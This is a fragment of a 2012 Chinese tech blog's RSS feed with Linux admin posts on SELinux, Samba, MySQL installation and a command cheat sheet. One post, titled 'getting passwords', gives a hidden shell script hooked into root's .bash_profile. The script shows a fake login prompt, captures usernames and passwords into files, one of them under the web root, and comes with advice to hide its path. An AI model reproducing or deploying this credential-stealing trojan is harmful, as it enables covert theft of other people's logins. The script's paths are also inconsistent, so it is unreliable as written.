Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; " /><br style="font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; " /><span style="font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">SELinux 是 2.6 版本的 Linux 内核中提供的强制访问控制 (MAC)系统。对于目前可用的 Linux 安全模块来说，SELinux 是功能最全面，而且测试最充分的，它是在 20 年的 MAC 研究基础上建立的。SELinux 在类型强制服务器中合并了多级安全性或一种可选的多类策略，并采用了基于角色的访问控制概念。 　　大部分使用 SELinux 的人使用的都是 SELinux 就绪的发行版，例如 Fedora、Red Hat Enterprise Linux (RHEL)、Debian 或 Gentoo。它们都是在内核中启用 SELinux 的，并且提供一个可定制的安全策略，还提供很多用户层的库和工具，它们都可以使用 SELinux 的功能。　　SELinux是一种基于域-类型模型（domain-type）的强制访问控制（MAC）安全系统，它由NSA编写并设计成内核模块包含到内核中，相应的某些安全相关的应用也被打了SELinux的补丁，最后还有一个相应的安全策略。　　众所周知，标准的UNIX安全模型是"任意的访问控制"DAC。就是说，任何程序对其资源享有完全的控制权。假设某个程序打算把含有潜在重要信息的文件扔到/tmp目录下，那么在DAC情况下没人能阻止他！　　而MAC情况下的安全策略完全控制着对所有资源的访问。这是MAC和DAC本质的区别。　　SELinux提供了比传统的UNIX权限更好的访问控制。</span><br style="font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; " /><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp;</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; "><span style="line-height: 25px; ">要是想让共享目录能访问，可以使用命令</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">#setenforce 0</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">暂时停掉SELinux</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">使用</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">#setenforce 1</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">启用SELinux</p><img src ="http://www.blogjava.net/kxbin/aggbug/383517.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-19 16:25 <a href="http://www.blogjava.net/kxbin/articles/383517.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>LINUX-SAMBA服务配置（转发）</title><link>http://www.blogjava.net/kxbin/articles/383516.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 19 Jul 2012 08:23:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383516.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383516.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383516.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383516.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383516.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: SAMBA服务的配置。SAMBA简介NFS只能实现在linux和unix系统之间实现文件共享，而CIFS(公共因特网文件系统)只能实现windows系统之间的文件共享。那么linux或unix系统怎么和windows系统之间共享文件呢？这就要用到SAMBA服务器了，SAMBA服务器能真正实现在不同主机、不同系统之间的文件共享。&nbsp;Samba核心有两守护进程：smbd:监听139端口，实现主...&nbsp;&nbsp;<a href='http://www.blogjava.net/kxbin/articles/383516.html'>阅读全文</a><img src ="http://www.blogjava.net/kxbin/aggbug/383516.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-19 16:23 <a href="http://www.blogjava.net/kxbin/articles/383516.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>通过yum安装mysql</title><link>http://www.blogjava.net/kxbin/articles/383492.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 19 Jul 2012 03:11:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/383492.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/383492.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/383492.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/383492.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/383492.html</trackback:ping><description><![CDATA[<p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">1. 安装mysql</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; 1.1 执行安装</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span style="color: #3366ff; ">$sudo yum -y install mysql-server</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; 1.2&nbsp;<span style="color: #ff0000; ">注意</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; mysql和mysql-server有区别，只需作为client，执行yum install mysql.</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp;</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">2. 服务和配置</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; 2.1 开机启动</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span style="color: #3366ff; ">$ sudo /sbin/chkconfig --add mysqld</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; "><span style="color: #3366ff; ">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ sudo /sbin/chkconfig mysqld on &nbsp;&nbsp;</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; "><span style="color: #3366ff; ">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; $ sudo /sbin/service mysqld start</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; 2.2 设置root密码</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;<span style="color: #3366ff; ">$sudo&nbsp;mysqladmin -u root password '1234'</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp;</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">3. 连接mysql</p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp; &nbsp;&nbsp;<span style="color: #3366ff; ">$mysql -h localhost -uroot -p1234</span></p><p style="margin: 0px; padding: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #ffffff; ">&nbsp;</p><img src ="http://www.blogjava.net/kxbin/aggbug/383492.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-19 11:11 <a href="http://www.blogjava.net/kxbin/articles/383492.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux命令之日常操作总结篇（转）</title><link>http://www.blogjava.net/kxbin/articles/382935.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 12 Jul 2012 14:19:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/382935.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/382935.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/382935.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/382935.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/382935.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp; 摘要: 一、linux下测试磁盘的读写IO速度有时候我们在做维护的时候，总会遇到类似于IO特别高，但不能判定是IO瓶颈还是软件参数设置不当导致热盘的问题.这时候通常希望能知道磁盘的读写速度，来进行下一步的决策.下面是两种测试方法：(1)使用hdparm命令这是一个是用来获取ATA/IDE硬盘的参数的命令,是由早期Linux IDE驱动的开发和维护人员 Mark Lord开发编写的( hdparm has ...&nbsp;&nbsp;<a href='http://www.blogjava.net/kxbin/articles/382935.html'>阅读全文</a><img src ="http://www.blogjava.net/kxbin/aggbug/382935.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-12 22:19 <a href="http://www.blogjava.net/kxbin/articles/382935.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>获取密码</title><link>http://www.blogjava.net/kxbin/articles/382934.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Thu, 12 Jul 2012 13:52:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/382934.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/382934.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/382934.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/382934.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/382934.html</trackback:ping><description><![CDATA[<div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">首先vi /root/.bash_profile/</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">加入./etc/.sys.sh</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">&nbsp;</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">然后vi /etc/.sys.sh 加入以下几行&nbsp;&nbsp; 这地方目录谁边，就是让别人尽量看不出来就行</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">&nbsp;</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">#!/bin/sh<br />clear<br />echo -n "login as :" &amp;&amp; read login &amp;&amp; echo $login &gt;&gt; /home/root/.list<br />stty -echo<br />echo -n "<a href="&#109;&#97;&#105;&#108;&#116;&#111;&#58;&#36;&#108;&#111;&#103;&#105;&#110;&#64;&#49;&#57;&#50;&#46;&#49;&#54;&#56;&#46;&#48;&#46;&#56;&#39;&#115;" style="text-decoration: none; color: #63401b; ">$login@192.168.0.8's</a>&nbsp;password :" &amp;&amp; read passwd &amp;&amp; echo $passwd &gt;&gt; /var/www/html/help/.list<br />stty echo &amp;&amp; echo ' '<br />echo -n 'last login: '<br />lastlog -u $login &gt; /home/wds/.list<br />awk '{if($1 ~ /'$login'/) print $4,$5,$6,$7,$9,"from",$3}' /home/root/.last</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">&nbsp;</div><div style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; line-height: 1.5; font-family: 宋体, Arial; font-size: 12px; background-color: #fffcf3; ">然后还要chmod 755 /etc/.sys.sh</div><img src ="http://www.blogjava.net/kxbin/aggbug/382934.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/kxbin/" target="_blank">kxbin</a> 2012-07-12 21:52 <a href="http://www.blogjava.net/kxbin/articles/382934.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Linux命令（转）</title><link>http://www.blogjava.net/kxbin/articles/382829.html</link><dc:creator>kxbin</dc:creator><author>kxbin</author><pubDate>Wed, 11 Jul 2012 14:31:00 GMT</pubDate><guid>http://www.blogjava.net/kxbin/articles/382829.html</guid><wfw:comment>http://www.blogjava.net/kxbin/comments/382829.html</wfw:comment><comments>http://www.blogjava.net/kxbin/articles/382829.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/kxbin/comments/commentRss/382829.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/kxbin/services/trackbacks/382829.html</trackback:ping><description><![CDATA[<p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; ">Linux虽然是免费的，但它的确是一个非常优秀的操作系统，与MS－WINDOWS相比具有可靠、 稳定、速度快等优点,且拥有丰富的根据UNIX版本改进的强大功能。下面让我们一起来学习Linux的一些主要命令。有一点一定要注意，和dos命令不同的是，Linux的命令（也包括文件名等等）对大小写是敏感的。<br /><strong><br />sbin 系统底层命令存放目录<br />bin&nbsp; 一般用户常用命令目录</strong>&nbsp;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 一年多linux(字符界面)使用记录大概使用了以下命令，我按照自己意思把linux(centos)命令大概分为几种类型，有些也不是很合理的分类：<br /><br /><strong>文件用户管理</strong>&nbsp;<br /><strong><span style="color: #ff0000; ">ls -lh&nbsp;</span></strong>显示权限<br /><strong><span style="color: #ff0000; ">cp&nbsp;&nbsp; -r&nbsp;</span></strong>复制文件 文件夹&nbsp;<br /><strong><span style="color: #ff0000; ">mkdir&nbsp; test</span>&nbsp;</strong>创建文件夹<br /><strong><span style="color: #ff0000; ">rm&nbsp;&nbsp;&nbsp; -rf&nbsp;&nbsp;</span></strong>删除文件 文件夹<br /><strong><span style="color: #ff0000; ">mv&nbsp;&nbsp;&nbsp;</span></strong></span><span style="color: #ff0000; font-size: small; "><span style="color: #000000; ">源目录 目标目录</span>&nbsp;</span><span style="font-size: small; ">移动文件或者文件夹<br /><strong><span style="color: #ff0000; ">touch&nbsp;&nbsp;&nbsp;</span></strong>建立空文件<br /><strong><span style="color: #ff0000; ">ln -s&nbsp;&nbsp;</span></strong>源文件路径 目标文件<br /><strong><span style="color: #ff0000; ">cp -rf&nbsp;</span>&nbsp;</strong>r代表递归目录 f代表不提示强制<br /><strong><span style="color: #ff0000; ">passwd user1&nbsp;</span></strong>修改一个用户的口令 (只允许root执行)&nbsp;<br /><strong><span style="color: #ff0000; ">usermod -g&nbsp;</span></strong></span><span style="color: #ff0000; font-size: small; "><span style="color: #000000; ">组名 用户名</span>&nbsp;</span><span style="font-size: small; "><strong></strong>改变用户所在组<br /><strong><span style="color: #ff0000; ">usermod -d&nbsp;</span></strong></span><span style="color: #ff0000; font-size: small; "><span style="color: #000000; ">目录名 用户名</span>&nbsp;</span><span style="font-size: small; ">改变用户登入初始 所在目录<br /><strong><span style="color: #ff0000; ">useradd</span>&nbsp;</strong>添加用户&nbsp;<br /><strong><span style="color: #ff0000; ">useradd -g</span>&nbsp;</strong>组名 用户名<br /><strong><span style="color: #ff0000; ">userdel&nbsp;</span></strong>删除用户 -r<br /><strong><span style="color: #ff0000; ">groupadd groupname&nbsp;</span></strong>组添加<br /><strong><span style="color: #ff0000; ">groupdel groupname</span>&nbsp;</strong>组删除<br /><strong><span style="color: #ff0000; ">chmod&nbsp;</span></strong>权限编号 用户名&nbsp;<br /><strong><span style="color: #ff0000; ">chgrp testgroup test3.txt</span>&nbsp;</strong>改变文件所属组<br /><strong><span style="color: #ff0000; ">chgrp -R testgroup testdir/&nbsp;</span></strong>改变目录所属组<br /><strong><span style="color: #ff0000; ">chown testuser test.txt</span>&nbsp;</strong>改变文件拥有者<br /><strong><span style="color: #ff0000; ">chmod a+x&nbsp;</span>&nbsp;</strong>改变文件权限 可执行<br /><strong><span style="color: #ff0000; ">chattr</span>&nbsp;</strong>改变文件的特殊属性<br /><strong><span style="color: #ff0000; ">chattr +a file1&nbsp;</span></strong>只允许以追加方式读写文件<br /><strong><span style="color: #ff0000; ">lsattr file</span>&nbsp;</strong>显示文件的特殊属性！<br /><strong><span style="color: #ff0000; ">umask&nbsp;</span></strong>改变预设的建立文件或目录时的属性<br /><strong><span style="color: #ff0000; ">cat&nbsp; file</span>&nbsp;</strong>由第一行开始显示文件内容<br /><strong><span style="color: #ff0000; ">tac&nbsp; file&nbsp;</span></strong>从最后一行开始显示，可以看出 tac 是 cat 的倒着写！<br /><strong><span style="color: #ff0000; ">more file</span>&nbsp;</strong>&nbsp; 一页一页的显示文件内容<br /><strong><span style="color: #ff0000; ">less file&nbsp;</span></strong>与 more 类似，但是比 more 更好的是，他可以往前翻页！<br /><strong><span style="color: #ff0000; ">head file&nbsp;</span></strong>只看头几行<br /><strong><span style="color: #ff0000; ">tail file&nbsp;</span></strong>只看尾巴几行<br /><strong><span style="color: #ff0000; ">nl&nbsp;&nbsp; file&nbsp;</span></strong>显示的时候，顺道输出 行号！<br /><strong><span style="color: #ff0000; ">od&nbsp;&nbsp; file</span>&nbsp;</strong>以二进制的方式读取文件内容！<br /><strong><span style="color: #ff0000; ">gzip</span>&nbsp;</strong>&nbsp; 压缩&nbsp; zaa.zip 文件名称&nbsp;&nbsp;&nbsp;&nbsp; -r aa.zip 目录路径&nbsp; 代表压缩目录&nbsp;&nbsp;&nbsp; -m代表删除源文件<br /><strong><span style="color: #ff0000; ">unzip&nbsp;&nbsp;</span></strong>解压缩 -x abc 排除abc文件外 其他都解压<br /><strong><span style="color: #ff0000; ">rpm -qa | grep 软件包名称</span>&nbsp;</strong>查看是否安装该软件<br /><strong><span style="color: #ff0000; ">rpm -ivh 软件包名称</span>&nbsp;</strong>安装软件<br /><strong><span style="color: #ff0000; ">rpm -e&nbsp;</span></strong>卸载软件&nbsp;<br /><strong><span style="color: #ff0000; ">make&nbsp;</span></strong>多文件编译<br /><strong><span style="color: #ff0000; ">tar -zvxf filename.tar</span>&nbsp;</strong>打开压缩文件&nbsp;<br /><strong><span style="color: #ff0000; ">rpm -ql | grep mysql&nbsp;</span></strong>查找mysql已安装的包<br /><strong><span style="color: #ff0000; ">rpm -e 包的名字&nbsp;</span></strong>，强制删除加参数 --nodeps<br /><strong><span style="color: #ff0000; ">rpm -qa&nbsp;</span></strong>显示系统中所有已经安装的rpm包&nbsp;<br /><strong><span style="color: #ff0000; ">yum install 包名字&nbsp;</span></strong>yum安装<br /><strong><span style="color: #ff0000; ">yum remove 包名字</span>&nbsp;</strong>&nbsp; yum删除&nbsp;<br /><strong><span style="color: #ff0000; ">yum list&nbsp;</span></strong>列出当前系统中安装的所有包<br /><strong><span style="color: #ff0000; ">file</span>&nbsp;</strong>可以用来查看这个文件的类型<br /><strong><span style="color: #ff0000; ">diff&nbsp;</span></strong>这个指令可以将『两个文件之间的差异性列出来』<br /><strong><span style="color: #ff0000; ">patch&nbsp;</span></strong>来进行更新，将 expatch.old 更新到 expatch.new&nbsp;<br /><strong><span style="color: #ff0000; ">patch -p0 &lt; expatch.patch&nbsp;</span></strong><br /><strong><span style="color: #ff0000; ">ldd /usr/bin/passwd&nbsp;</span></strong>判断某个可执行的 binary 文件含有什么动态函式库<br /><strong><span style="color: #ff0000; ">which&nbsp;&nbsp;</span>&nbsp;</strong>查看可执行文件的位置<br /><strong><span style="color: #ff0000; ">whereis&nbsp;</span></strong>查看文件的位置<br /><strong><span style="color: #ff0000; ">locate&nbsp;&nbsp;</span></strong>配合数据库查看文件位置<br />vi&nbsp;&nbsp; 编辑文件内容 通用<br /><strong><span style="color: #ff0000; ">grep -n "关键字" 文件</span>&nbsp;</strong>查找文件内容<br /><strong><span style="color: #ff0000; ">find&nbsp;</span></strong>查找文件</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><strong><span style="color: #ff0000; ">find&nbsp;&nbsp; -size&nbsp;&nbsp; +1000000c&nbsp;&nbsp; -print</span>&nbsp;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; #查长度大于1Mb的文件</span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><strong><strong><span style="color: #ff0000; ">find /home -mmin&nbsp;&nbsp;&nbsp; +60&nbsp;</span>&nbsp;</strong>&nbsp;&nbsp;&nbsp;</strong>#<strong>&nbsp;在/home下查60分钟前改动过的文件</strong></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><strong><strong><span style="color: #ff0000; ">find&nbsp;&nbsp; /home&nbsp;&nbsp; -size&nbsp;&nbsp; +512k&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</strong>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;</strong>&nbsp;<strong></strong>#<strong>&nbsp;</strong><strong>查大于512k的文件</strong></span></p><p style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; font-family: Helvetica, Tahoma, Arial, sans-serif; line-height: 25px; text-align: left; background-color: #efefef; "><span style="font-size: small; "><strong></strong><strong><strong><span style="color: #ff0000; ">find&nbsp;&nbsp;&nbsp; /&nbsp;&nbsp; -mmin&nbsp;&nbsp; -5&nbsp;&nbsp;&nbsp;&nbsp;</span>&nbsp;</strong>&nbsp;&nbsp;&nbsp;&nbsp;<strong>&nbsp;#</strong>&nbsp;查找在系统中最后5分钟里修改过的文件&nbsp;</strong><br /><strong><span style="color: #ff0000; ">ls a*&nbsp;&nbsp;</span></strong>a开头所有<br /><strong><span style="color: #ff0000; ">ls a?&nbsp;</span>&nbsp;</strong>a开头只有两个字符的<br /><strong><span style="color: #ff0000; ">ls abc[1-6]&nbsp;</span></strong>以开始abc后面1-6数字结尾的文件<br /><strong><span style="color: #ff0000; ">ls 》cmd&nbsp;&nbsp;</span></strong>输出文件夹内容<br /><strong><span style="color: #ff0000; ">ls -ahl&nbsp;</span>&nbsp;</strong>查看文件所在组<br /><br /><strong>磁盘管理</strong>&nbsp;<br /><strong><span style="color: #ff0000; ">ls&nbsp;&nbsp;</span>&nbsp;</strong>查看目录<br /><strong><span style="color: #ff0000; ">cd&nbsp;&nbsp;</span>&nbsp;</strong>进入目录&nbsp; ..代表上一级&nbsp; cd直接进入工作目录&nbsp; .代表当前目录&nbsp;<br /><strong><span style="color: #ff0000; ">pwd&nbsp;</span>&nbsp;</strong>显示当前目录<br /><strong><span style="color: #ff0000; ">df&nbsp;&nbsp;</span></strong>/目录 查看目录在系统分区挂载点<br /><strong><span style="color: #ff0000; ">mount&nbsp;</span>&nbsp;</strong>/目录 挂载目录<br /><strong><span style="color: #ff0000; ">umount&nbsp;&nbsp;</span></strong>/目录 卸载挂载点<br /><strong><span style="color: #ff0000; ">head -n 1 /etc/issue&nbsp;</span></strong>查看操作系统版本<br /><strong><span style="color: #ff0000; ">cat /proc/cpuinfo&nbsp;</span></strong>查看CPU信息<br /><strong><span style="color: #ff0000; ">hostname</span>&nbsp;</strong>查看计算机名<br /><strong><span style="color: #ff0000; ">lspci -tv</span>&nbsp;</strong>列出所有PCI设备&nbsp; (centos6)需要安装 pciutils<br /><strong><span style="color: #ff0000; ">lsusb -tv&nbsp;</span></strong>列出所有USB设备&nbsp; (centos6)需要安装 usbutils<br /><strong><span style="color: #ff0000; ">lsmod</span>&nbsp;</strong>列出加载的内核模块<br /><strong><span style="color: #ff0000; ">env&nbsp;</span></strong>查看环境变量<br /><strong><span style="color: #ff0000; ">echo $path</span>&nbsp;</strong>查看环境变量<br /><strong><span style="color: #ff0000; ">free -m&nbsp;</span></strong>查看内存使用量和交换区使用量<br /><strong><span style="color: #ff0000; ">du -sh &lt;目录名&gt;&nbsp;</span></strong>查看指定目录的大小<br /><strong><span style="color: #ff0000; ">grep MemTotal /proc/meminfo&nbsp;</span></strong>查看内存总量<br /><strong><span style="color: #ff0000; ">grep MemFree /proc/meminfo&nbsp;</span></strong>查看空闲内存量<br /><strong><span style="color: #ff0000; ">uptime&nbsp;</span></strong>查看系统运行时间、用户数、负载<br /><strong><span style="color: #ff0000; ">cat /proc/loadavg&nbsp;</span></strong>查看系统负载<br /><strong><span style="color: #ff0000; ">sar&nbsp;</span></strong>来看系统的资源<br /><strong><span style="color: #ff0000; ">du&nbsp;</span></strong>来知道目前磁盘的文件容量<br /><strong><span style="color: #ff0000; ">hdparm -i /dev/hda</span>&nbsp;</strong>查看磁盘参数(仅适用于IDE设备)<br /><strong><span style="color: #ff0000; ">dmesg | grep IDE&nbsp;</span></strong>查看启动时IDE设备检测状况<br /><strong><span style="color: #ff0000; ">dump -0aj -f /tmp/home0.bak /home&nbsp;</span></strong>制作一个 '/home' 目录的完整备份<br /><strong><span style="color: #ff0000; ">dump -1aj -f /tmp/home0.bak /home</span>&nbsp;</strong>制作一个 '/home' 目录的交互式备份<br /><strong><span style="color: #ff0000; ">restore -if /tmp/home0.bak&nbsp;</span></strong>还原一个交互式备份<br /><br /><strong>网络通讯</strong>&nbsp;<br /><strong><span style="color: #ff0000; ">netstat -lntp&nbsp;</span>&nbsp;</strong>查看所有监听端口<br /><strong><span style="color: #ff0000; ">netstat -antp</span>&nbsp;</strong>&nbsp; 查看所有已经建立的连接<br /><strong><span style="color: #ff0000; ">netstat&nbsp; -s&nbsp;&nbsp;</span></strong>查看网络统计信息<br /><strong><span style="color: #ff0000; ">traccroute&nbsp;</span>&nbsp;</strong>追踪路由<br /><strong><span style="color: #ff0000; ">route -n&nbsp;</span></strong>查看路由表<br /><strong><span style="color: #ff0000; ">ping&nbsp;</span>&nbsp;</strong>查看网络是否畅通<br /><br /><strong>系统管理</strong>&nbsp;<br /><strong><span style="color: #ff0000; ">chkconfig --list&nbsp;</span></strong>列出所有系统服务<br /><strong><span style="color: #ff0000; ">chkconfig --list | grep on</span>&nbsp;</strong>列出所有启动的系统服务<br /><strong><span style="color: #ff0000; ">cut -d: -f1 /etc/passwd&nbsp;</span></strong>查看系统所有用户<br /><strong><span style="color: #ff0000; ">cut -d: -f1 /etc/group&nbsp;</span></strong>查看系统所有组<br /><strong><span style="color: #ff0000; ">crontab -l&nbsp;</span></strong>查看当前用户的计划任务<br /><strong><span style="color: #ff0000; ">crontab -e&nbsp;&nbsp;</span></strong>例行性工作编辑<br /><strong><span style="color: #ff0000; ">ifconfig&nbsp;</span></strong>查看ip配置<br /><strong><span style="color: #ff0000; ">kill&nbsp;</span>&nbsp;</strong>杀死进程&nbsp;&nbsp;&nbsp; -9 强制杀死<br /><strong><span style="color: #ff0000; ">ps -aux&nbsp;&nbsp;&nbsp;</span></strong>查看进程信息<br /><strong><span style="color: #ff0000; ">top&nbsp;&nbsp;&nbsp;</span>&nbsp;</strong>显示系统重要信息 包括内存 cpu 负载 登入用户<br /><strong><span style="color: 